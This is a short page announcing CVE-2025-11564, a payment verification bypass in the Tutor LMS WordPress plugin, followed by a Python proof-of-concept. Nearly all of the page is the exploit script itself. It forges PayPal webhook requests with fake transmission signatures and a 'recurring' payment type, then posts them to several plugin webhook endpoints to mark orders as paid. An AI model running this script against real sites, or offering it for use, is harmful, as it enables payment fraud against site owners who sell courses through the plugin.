CVE-2025-11564: Tutor LMS插件支付验证绕过漏洞

import requests import json # CVE-2025-11564 PoC - Tutor LMS Payment Verification Bypass # Target: WordPress site with Tutor LMS plugin < 3.8.4 TARGET_URL = "https://vulnerable-site.com" # The webhook endpoint varies, common paths: WEBHOOK_PATHS = [ "/wp-json/tutor/v1/webhook/paypal", "/?tutor_action=verify_paypal_webhook", "/wp-admin/admin-ajax.php?action=tutor_paypal_webhook" ] def create_malicious_webhook_request(): """ Forge a PayPal webhook request to mark order as paid This PoC demonstrates the missing authorization check """ payload = { "payment_type": "recurring", # Key parameter to bypass verification "order_id": "ATTACKER_CONTROLLED_ORDER_ID", "status": "completed", "amount": "0.01", "currency": "USD", "transaction_id": "MALICIOUS_TX_" + str(random.randint(100000, 999999)), "payer_email": "[email protected]" } headers = { "Content-Type": "application/json", "User-Agent": "PayPal-Webhook-Forge", "X-Paypal-Transmission-Id": "fake-transmission-id", "X-Paypal-Transmission-Time": "2025-01-01T00:00:00Z", "X-Paypal-Transmission-Sig": "fake-signature", "X-Paypal-Cert-Url": "" } return payload, headers def exploit(target_url): """Execute the payment verification bypass attack""" payload, headers = create_malicious_webhook_request() for path in WEBHOOK_PATHS: url = target_url + path try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Possible successful exploitation at: {url}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed at {url}: Status {response.status_code}") except requests.RequestException as e: print(f"[!] Error targeting {url}: {e}") if __name__ == "__main__": import random exploit(TARGET_URL)